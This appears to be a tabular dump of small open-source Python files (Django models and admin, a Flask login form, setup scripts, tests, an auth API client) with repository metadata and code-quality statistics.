hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
81c27ee4cdfe2a26ef7b4b636be36e22e9764ebe | 221 | py | Python | argostranslate/model.py | rushter/argos-translate | 1a72c890bece98e8f3f506acf949b571d7d3bc7e | [
"MIT"
] | null | null | null | argostranslate/model.py | rushter/argos-translate | 1a72c890bece98e8f3f506acf949b571d7d3bc7e | [
"MIT"
] | null | null | null | argostranslate/model.py | rushter/argos-translate | 1a72c890bece98e8f3f506acf949b571d7d3bc7e | [
"MIT"
] | null | null | null | class LanguageModel:
def infer(x):
"""Run language model on input x
Args:
x (str): Prompt to run inference on
Returns: (str) Output of inference
"""
return prompt
| 20.090909 | 47 | 0.542986 | 26 | 221 | 4.615385 | 0.730769 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.380091 | 221 | 10 | 48 | 22.1 | 0.875912 | 0.506787 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
81e581ca8e25c5c732b7c9a6938959e1ce1dfd28 | 802 | py | Python | pyano2/admin.py | mental689/pyano | 2bc75e79618392f2013dfde2ac8035fe5fa1dc61 | [
"MIT"
] | 1 | 2022-01-31T17:34:37.000Z | 2022-01-31T17:34:37.000Z | pyano2/admin.py | mental689/pyano | 2bc75e79618392f2013dfde2ac8035fe5fa1dc61 | [
"MIT"
] | null | null | null | pyano2/admin.py | mental689/pyano | 2bc75e79618392f2013dfde2ac8035fe5fa1dc61 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import *
# Register your models here.
admin.site.register(SystemSetting)
admin.site.register(Topic)
admin.site.register(Keyword)
admin.site.register(SearchResult)
admin.site.register(Invitation)
admin.site.register(Alternative)
admin.site.register(Credit)
admin.site.regist... | 30.846154 | 40 | 0.840399 | 100 | 802 | 6.74 | 0.32 | 0.293769 | 0.554896 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043641 | 802 | 26 | 41 | 30.846154 | 0.878748 | 0.032419 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.083333 | 0 | 0.083333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
c4ad1b24aa893f34849a43e69fbd9ee2ed739b29 | 436 | py | Python | coding_interviews/leetcode/medium/subrectangle_queries/subrectangle_queries.py | LeandroTk/Algorithms | 569ed68eba3eeff902f8078992099c28ce4d7cd6 | [
"MIT"
] | 205 | 2018-12-01T17:49:49.000Z | 2021-12-22T07:02:27.000Z | coding_interviews/leetcode/medium/subrectangle_queries/subrectangle_queries.py | LeandroTk/Algorithms | 569ed68eba3eeff902f8078992099c28ce4d7cd6 | [
"MIT"
] | 2 | 2020-01-01T16:34:29.000Z | 2020-04-26T19:11:13.000Z | coding_interviews/leetcode/medium/subrectangle_queries/subrectangle_queries.py | LeandroTk/Algorithms | 569ed68eba3eeff902f8078992099c28ce4d7cd6 | [
"MIT"
] | 50 | 2018-11-28T20:51:36.000Z | 2021-11-29T04:08:25.000Z | # https://leetcode.com/problems/subrectangle-queries
class SubrectangleQueries:
def __init__(self, rectangle):
self.rectangle = rectangle
def updateSubrectangle(self, row1, col1, row2, col2, newValue):
for row in range(row1, row2 + 1):
for col in range(col1, col2 + 1):
... | 29.066667 | 67 | 0.639908 | 52 | 436 | 5.288462 | 0.5 | 0.189091 | 0.116364 | 0.138182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030488 | 0.247706 | 436 | 14 | 68 | 31.142857 | 0.807927 | 0.114679 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.111111 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
c4b988e816739bae58b4243c6f71e763bf88bc25 | 224 | py | Python | drdown/forum/views/view_base.py | fga-gpp-mds/2018.1-Cris-Down | 3423374360105b06ac2c57a320bf2ee8deaa08a3 | [
"MIT"
] | 11 | 2018-03-11T01:21:43.000Z | 2018-06-19T21:51:33.000Z | drdown/forum/views/view_base.py | fga-gpp-mds/2018.1-Grupo12 | 3423374360105b06ac2c57a320bf2ee8deaa08a3 | [
"MIT"
] | 245 | 2018-03-13T19:07:14.000Z | 2018-07-07T22:46:00.000Z | drdown/forum/views/view_base.py | fga-gpp-mds/2018.1-Grupo12 | 3423374360105b06ac2c57a320bf2ee8deaa08a3 | [
"MIT"
] | 12 | 2018-08-24T13:26:04.000Z | 2021-03-27T16:28:22.000Z | class BaseViewTemplate():
def get_template(self):
if self.request.user.is_authenticated:
template = "core/base.html"
else:
template = "core/base-nav.html"
return template
| 24.888889 | 46 | 0.598214 | 24 | 224 | 5.5 | 0.708333 | 0.181818 | 0.242424 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.303571 | 224 | 8 | 47 | 28 | 0.846154 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0 | 0 | 0.428571 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
c4c4554ca4d1294d115fc76632f5ae5d07210b8b | 726 | py | Python | setup.py | rkyoto/monotonic_cffi | 8b2394ee65bcf16ab8d47f53db013ed39289a8d4 | [
"Apache-2.0"
] | 1 | 2016-05-03T06:51:10.000Z | 2016-05-03T06:51:10.000Z | setup.py | rkyoto/monotonic_cffi | 8b2394ee65bcf16ab8d47f53db013ed39289a8d4 | [
"Apache-2.0"
] | null | null | null | setup.py | rkyoto/monotonic_cffi | 8b2394ee65bcf16ab8d47f53db013ed39289a8d4 | [
"Apache-2.0"
] | null | null | null |
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
setup(
name='monotonic_cffi',
version='0.1',
license='Apache',
author='Matt Jones',
author_email='mattjones1811@hotmail.com',
url='https://github.com/rkyoto/monotonic_cffi',
classifiers=(
... | 27.923077 | 70 | 0.636364 | 72 | 726 | 6.333333 | 0.666667 | 0.166667 | 0.219298 | 0.171053 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016043 | 0.227273 | 726 | 25 | 71 | 29.04 | 0.796791 | 0 | 0 | 0 | 0 | 0 | 0.525517 | 0.034483 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.136364 | 0 | 0.136364 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
c4ccb59e89df8f337d320277046d41bb4256138b | 423 | py | Python | application/web/auth/forms.py | satan1a/poopak | 9862f09edc22c030db520e317020b54a36e070ac | [
"curl"
] | 91 | 2019-01-17T13:35:49.000Z | 2022-03-30T21:16:37.000Z | application/web/auth/forms.py | satan1a/poopak | 9862f09edc22c030db520e317020b54a36e070ac | [
"curl"
] | 13 | 2019-01-13T14:35:51.000Z | 2021-04-26T05:13:42.000Z | application/web/auth/forms.py | satan1a/poopak | 9862f09edc22c030db520e317020b54a36e070ac | [
"curl"
] | 33 | 2019-01-17T13:37:22.000Z | 2022-03-25T09:35:54.000Z | from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField, validators
from wtforms.validators import DataRequired
class LoginForm(FlaskForm):
username = StringField('Username', validators=[DataRequired()])
password = PasswordField('Password', validators=[DataRequired()])
... | 38.454545 | 72 | 0.77305 | 39 | 423 | 8.358974 | 0.487179 | 0.067485 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.118203 | 423 | 11 | 73 | 38.454545 | 0.873995 | 0 | 0 | 0 | 0 | 0 | 0.066038 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.25 | 0.375 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 3 |
c4cf72ce24cd8395c7fc0f71e5b1d935992fdfe1 | 58 | py | Python | workon/contrib/flow/__init__.py | dalou/django-workon | ef63c0a81c00ef560ed693e435cf3825f5170126 | [
"BSD-3-Clause"
] | null | null | null | workon/contrib/flow/__init__.py | dalou/django-workon | ef63c0a81c00ef560ed693e435cf3825f5170126 | [
"BSD-3-Clause"
] | null | null | null | workon/contrib/flow/__init__.py | dalou/django-workon | ef63c0a81c00ef560ed693e435cf3825f5170126 | [
"BSD-3-Clause"
] | null | null | null | default_app_config = 'workon.contrib.flow.apps.FlowConfig' | 58 | 58 | 0.844828 | 8 | 58 | 5.875 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034483 | 58 | 1 | 58 | 58 | 0.839286 | 0 | 0 | 0 | 0 | 0 | 0.59322 | 0.59322 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
c4e8d4800d4855b456ea42b39c0cd6188cfeeeed | 607 | py | Python | tempestatibus/api/models.py | Damiox/tempestatibus-djangorest-reactjs | 89f89d40101a39d5c554b279171b7a241601ed99 | [
"MIT"
] | null | null | null | tempestatibus/api/models.py | Damiox/tempestatibus-djangorest-reactjs | 89f89d40101a39d5c554b279171b7a241601ed99 | [
"MIT"
] | 3 | 2020-06-05T17:47:03.000Z | 2021-06-10T19:53:59.000Z | tempestatibus/api/models.py | Damiox/tempestatibus-djangorest-reactjs | 89f89d40101a39d5c554b279171b7a241601ed99 | [
"MIT"
] | null | null | null | from django.db import models
class Location(models.Model):
city_name = models.CharField(max_length=100)
population = models.IntegerField()
class Subscription(models.Model):
email = models.EmailField()
location = models.ForeignKey(Location, on_delete=models.CASCADE)
confirmation_id = models.UUIDF... | 33.722222 | 68 | 0.766063 | 70 | 607 | 6.514286 | 0.528571 | 0.087719 | 0.184211 | 0.219298 | 0.254386 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005725 | 0.136738 | 607 | 17 | 69 | 35.705882 | 0.864504 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.076923 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
c4fdf9905acfa2f452d481de8842fe7010061a40 | 154 | py | Python | Assets/Scripts/1.py | Kvazikot/Tunel | 77eec06d4880f7f70dc2c7fe0afde9d287016cd3 | [
"MIT"
] | null | null | null | Assets/Scripts/1.py | Kvazikot/Tunel | 77eec06d4880f7f70dc2c7fe0afde9d287016cd3 | [
"MIT"
] | null | null | null | Assets/Scripts/1.py | Kvazikot/Tunel | 77eec06d4880f7f70dc2c7fe0afde9d287016cd3 | [
"MIT"
] | null | null | null | There is two types of x.
Classical x and quantum x.
Quantum x is acting like a x.
But if you ask quantum x a straight question, c can say
"How dare you?" | 30.8 | 56 | 0.74026 | 33 | 154 | 3.454545 | 0.69697 | 0.210526 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.214286 | 154 | 5 | 57 | 30.8 | 0.942149 | 0 | 0 | 0 | 0 | 0 | 0.083871 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
f2012b78254667f56614c0bb8b97e835ce91973f | 632 | py | Python | apps/merchant/unittests/test_factories.py | lsdlab/djshop_toturial | 6d450225cc05e6a1ecd161de2b522e1af0b68cc0 | [
"MIT"
] | null | null | null | apps/merchant/unittests/test_factories.py | lsdlab/djshop_toturial | 6d450225cc05e6a1ecd161de2b522e1af0b68cc0 | [
"MIT"
] | 6 | 2020-06-07T15:18:58.000Z | 2021-09-22T19:07:33.000Z | apps/merchant/unittests/test_factories.py | lsdlab/djshop_toturial | 6d450225cc05e6a1ecd161de2b522e1af0b68cc0 | [
"MIT"
] | null | null | null | from django.test import TestCase
from django.forms.models import model_to_dict
from nose.tools import eq_
from apps.merchant.unittests.factories import MerchantFactory
from apps.merchant.serializers import MerchantSerializer
class TestMerchantSerializer(TestCase):
def setUp(self):
self.data = model_to_di... | 31.6 | 61 | 0.764241 | 76 | 632 | 6.131579 | 0.447368 | 0.051502 | 0.04721 | 0.090129 | 0.261803 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.155063 | 632 | 19 | 62 | 33.263158 | 0.872659 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0.357143 | 0 | 0.642857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
f203bd6f70452ba13460619326e4163af498ac93 | 209 | py | Python | exl_env/lib/python3.6/site-packages/imblearn/combine/__init__.py | verma-varsha/fraud-detection | 13c5b0c274dfa2b68e82a4ee317e09223b5b663f | [
"MIT"
] | 2 | 2019-09-14T23:23:35.000Z | 2019-09-16T18:17:19.000Z | exl_env/lib/python3.6/site-packages/imblearn/combine/__init__.py | verma-varsha/fraud-detection | 13c5b0c274dfa2b68e82a4ee317e09223b5b663f | [
"MIT"
] | null | null | null | exl_env/lib/python3.6/site-packages/imblearn/combine/__init__.py | verma-varsha/fraud-detection | 13c5b0c274dfa2b68e82a4ee317e09223b5b663f | [
"MIT"
] | 2 | 2019-04-02T18:03:29.000Z | 2019-04-02T21:34:08.000Z | """The :mod:`imblearn.combine` provides methods which combine
over-sampling and under-sampling.
"""
from ._smote_enn import SMOTEENN
from ._smote_tomek import SMOTETomek
__all__ = ['SMOTEENN', 'SMOTETomek']
| 23.222222 | 61 | 0.770335 | 26 | 209 | 5.884615 | 0.730769 | 0.117647 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114833 | 209 | 8 | 62 | 26.125 | 0.827027 | 0.440191 | 0 | 0 | 0 | 0 | 0.163636 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
f210fd06fb8a3ebc717715780dfa9e1e53c2d3f2 | 3,792 | py | Python | jactorch/transforms/bbox/transforms.py | dapatil211/Jacinle | 7638a46dc06223a1871d88f92aade644883f40a0 | [
"MIT"
] | 114 | 2018-01-25T04:44:07.000Z | 2022-03-09T14:33:42.000Z | third_party/Jacinle/jactorch/transforms/bbox/transforms.py | dair-iitd/1oML_workdir | 37117de4abf1774548786e9534c90977d67091d8 | [
"Apache-2.0"
] | 7 | 2018-05-08T17:02:24.000Z | 2022-02-09T23:44:06.000Z | third_party/Jacinle/jactorch/transforms/bbox/transforms.py | dair-iitd/1oML_workdir | 37117de4abf1774548786e9534c90977d67091d8 | [
"Apache-2.0"
] | 268 | 2018-04-08T10:54:35.000Z | 2022-03-01T07:10:02.000Z | #! /usr/bin/env python3
# -*- coding: utf-8 -*-
# File : transforms.py
# Author : Jiayuan Mao
# Email : maojiayuan@gmail.com
# Date : 03/03/2018
#
# This file is part of Jacinle.
# Distributed under terms of the MIT license.
import random
import torch
import torchvision.transforms as transforms
import jactorch.... | 28.298507 | 123 | 0.674314 | 466 | 3,792 | 5.229614 | 0.253219 | 0.109151 | 0.085761 | 0.103406 | 0.3016 | 0.274928 | 0.208453 | 0.171112 | 0.145671 | 0.125975 | 0 | 0.00796 | 0.204905 | 3,792 | 133 | 124 | 28.511278 | 0.800332 | 0.085179 | 0 | 0.346154 | 0 | 0 | 0.064796 | 0 | 0 | 0 | 0 | 0.007519 | 0.012821 | 1 | 0.24359 | false | 0 | 0.064103 | 0.166667 | 0.820513 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
480dbef9c647a59a9f7d77e455eb6accc71a104e | 2,622 | py | Python | seed_services_client/auth.py | praekeltfoundation/seed-services-client | bfb216b6b770f9433bd9cda573f13199c4afee9c | [
"BSD-3-Clause"
] | null | null | null | seed_services_client/auth.py | praekeltfoundation/seed-services-client | bfb216b6b770f9433bd9cda573f13199c4afee9c | [
"BSD-3-Clause"
] | 25 | 2016-06-24T14:37:51.000Z | 2018-06-26T09:08:31.000Z | seed_services_client/auth.py | praekeltfoundation/seed-services-client | bfb216b6b770f9433bd9cda573f13199c4afee9c | [
"BSD-3-Clause"
] | null | null | null | from demands import JSONServiceClient, HTTPServiceClient
class AuthApiClient(object):
"""
Client for Auth Service.
:param str email:
An email address.
:param str password:
A password.
:param str api_url:
The full URL of the API.
"""
def __init__(self, email, ... | 30.847059 | 79 | 0.593822 | 317 | 2,622 | 4.788644 | 0.236593 | 0.094203 | 0.089592 | 0.052701 | 0.447958 | 0.331357 | 0.293149 | 0.248353 | 0.248353 | 0.248353 | 0 | 0.008112 | 0.294813 | 2,622 | 84 | 80 | 31.214286 | 0.812872 | 0.120519 | 0 | 0.235294 | 0 | 0 | 0.085323 | 0.020336 | 0 | 0 | 0 | 0 | 0 | 1 | 0.235294 | false | 0.039216 | 0.019608 | 0.156863 | 0.54902 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
4823f4da829fca9d3d8e130f43e5372ae7a9fcf5 | 4,206 | py | Python | test/bibliopixel/util/offset_range_test.py | rec/leds | ed5fd11ed155e7008d4ef6d5b3d82cd7f8b3ed6a | [
"MIT"
] | 253 | 2015-01-03T23:17:57.000Z | 2021-12-14T02:31:08.000Z | test/bibliopixel/util/offset_range_test.py | rec/leds | ed5fd11ed155e7008d4ef6d5b3d82cd7f8b3ed6a | [
"MIT"
] | 879 | 2015-01-11T16:07:25.000Z | 2021-12-10T16:24:31.000Z | test/bibliopixel/util/offset_range_test.py | rec/leds | ed5fd11ed155e7008d4ef6d5b3d82cd7f8b3ed6a | [
"MIT"
] | 71 | 2015-01-04T01:02:47.000Z | 2022-03-25T18:30:10.000Z | import unittest
from bibliopixel.util import offset_range
class OffsetRangeTest(unittest.TestCase):
def test_empty(self):
dmx = offset_range.DMXChannel.make()
self.assertEqual(dmx.index(0), None)
self.assertEqual(dmx.index(1), 0)
self.assertEqual(dmx.index(2), 1)
self.asse... | 33.380952 | 70 | 0.598431 | 542 | 4,206 | 4.573801 | 0.121771 | 0.242033 | 0.168616 | 0.212989 | 0.749092 | 0.659137 | 0.567164 | 0.498992 | 0.294877 | 0.268253 | 0 | 0.082266 | 0.257252 | 4,206 | 125 | 71 | 33.648 | 0.711268 | 0 | 0 | 0.402062 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.463918 | 1 | 0.061856 | false | 0 | 0.020619 | 0 | 0.092784 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
48387a159f561009e1c66d6458bea7cdd666812d | 1,114 | py | Python | data_models.py | Seckswrecks/celeste-lb-bot | 700c1c8fb911ab835f6458b9f93c96472bc9d449 | [
"MIT"
] | null | null | null | data_models.py | Seckswrecks/celeste-lb-bot | 700c1c8fb911ab835f6458b9f93c96472bc9d449 | [
"MIT"
] | null | null | null | data_models.py | Seckswrecks/celeste-lb-bot | 700c1c8fb911ab835f6458b9f93c96472bc9d449 | [
"MIT"
] | null | null | null | """
data_models.py
Dataclasses related to configuration
"""
from dataclasses import dataclass
from typing import List
#################
## CREDENTIALS ##
#################
@dataclass(frozen=True)
class SpeedrunCredentials:
"""speedrun.com API credentials"""
csrf: str
session: str
@datacl... | 16.382353 | 80 | 0.658887 | 115 | 1,114 | 6.347826 | 0.443478 | 0.123288 | 0.156164 | 0.19726 | 0.073973 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.193896 | 1,114 | 67 | 81 | 16.626866 | 0.812918 | 0.301616 | 0 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.074074 | 0 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
483cbd674df83c1e44696214fb3e207dbecfc338 | 120 | py | Python | utils/hello.py | NicoleDwe/cds-language | 4b7904b102408b3cda3ba59748fe8360b1bd57d3 | [
"MIT"
] | 10 | 2021-02-02T13:42:29.000Z | 2022-02-07T10:51:52.000Z | utils/hello.py | NicoleDwe/cds-language | 4b7904b102408b3cda3ba59748fe8360b1bd57d3 | [
"MIT"
] | null | null | null | utils/hello.py | NicoleDwe/cds-language | 4b7904b102408b3cda3ba59748fe8360b1bd57d3 | [
"MIT"
] | 16 | 2021-02-01T14:39:34.000Z | 2022-02-21T13:09:34.000Z | def main(name="User", name2="Your Pal"):
print(f"Hello, {name}! I am {name2}!")
if __name__=="__main__":
